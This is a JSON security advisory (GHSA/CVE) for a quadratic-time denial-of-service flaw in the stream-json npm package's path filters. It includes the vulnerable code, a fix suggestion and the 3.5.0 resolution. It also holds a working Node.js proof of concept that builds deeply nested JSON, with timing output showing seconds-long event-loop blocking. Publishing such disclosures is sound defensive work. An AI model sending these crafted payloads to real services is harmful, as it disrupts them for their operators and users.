CVE-2026-71429: stream-json Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-528h-pc64-c93x",
  "modified" : "2026-09-03T20:27:53Z",
  "published" : "2026-09-03T20:27:53Z",
  "aliases" : [ "CVE-2026-71429" ],
  "summary" : "stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)",
  "details" : "## Description\n\nThe path filters `pick`, `ignore`, `filter`, and `replace` — the library's headline \"surgical extraction\" feature — recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D²)**, not O(D).\n\nThis is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary \"traverse until the filter matches\" path — including the exact README flagship example `pick({filter: 'data'})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.\n\n### Affected code (v3.4.0)\n\n`src/core/filters/filter-base.js`:\n\n```js\n// L26-32 — string filter: rejoins the ENTIRE stack on every call\nconst stringFilter = (string, separator) => {\n  const stringWithSeparator = string + separator;\n  return stack => {\n    const path = stack.join(separator);              // O(depth) — every call\n    return path === string || path.startsWith(stringWithSeparator);\n  };\n};\n\n// L34-39 — regexp filter: same\nconst regExpFilter = (regExp, separator) => {\n  return stack => {\n    regExp.lastIndex = 0;\n    return regExp.test(stack.join(separator));       // O(depth) — every call\n  };\n};\n```\n\n```js\n// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state\nconst action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;\n```\n\n`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn't matched yet, `filter()` runs once per level and each call is O(depth) ⇒ **O(D²)** total.\n\n**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don't exhibit this. The issue is specific to `filter-base.js` recomputing the path string.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.4.0\nnode poc-quadratic-dos.mjs\n```\n\n```js\nimport parserStream from 'stream-json';\nimport { pick } from 'stream-json/filters/pick.js';\nimport chain from 'stream-chain';\n\nfunction run(D) {\n  const doc = '{\"meta\":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches \"data\"\n  return new Promise((resolve) => {\n    const t0 = process.hrtime.bigint();\n    const pipeline = chain([parserStream(), pick({ filter: 'data' })]);\n    pipeline.on('data', () => {});\n    pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));\n    pipeline.write(doc); pipeline.end();\n  });\n}\nfor (const D of [5000, 10000, 20000, 40000]) {\n  const r = await run(D);\n  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);\n}\n```\n\nMeasured (Node v24, single core, clean `npm i stream-json@3.4.0`):\n\n```\nD=5000    bytes= 45001   ms=  160\nD=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -> quadratic)\nD=20000   bytes=180001   ms= 2511   (4.2x)\nD=40000   bytes=360001   ms=11823   (4.7x)\n```\n\nA **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.\n\n## Impact\n\nRemote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.\n\n## Suggested fix\n\nMaintain the joined path incrementally instead of rejoining the whole stack per token:\n- On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length).\n- On end/pop: truncate the cached path back to the remembered length.\n- Filters test/`startsWith` against the cached string — O(1) amortized per token, making the whole traversal O(D).\n\nAlternatively expose/enforce a maximum nesting depth for the filter path check.\n\n## Resolution\n\nFixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "stream-json"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.5.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.4.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/uhop/stream-json"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-407" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-03T20:27:53Z",
    "nvd_published_at" : null
  }
}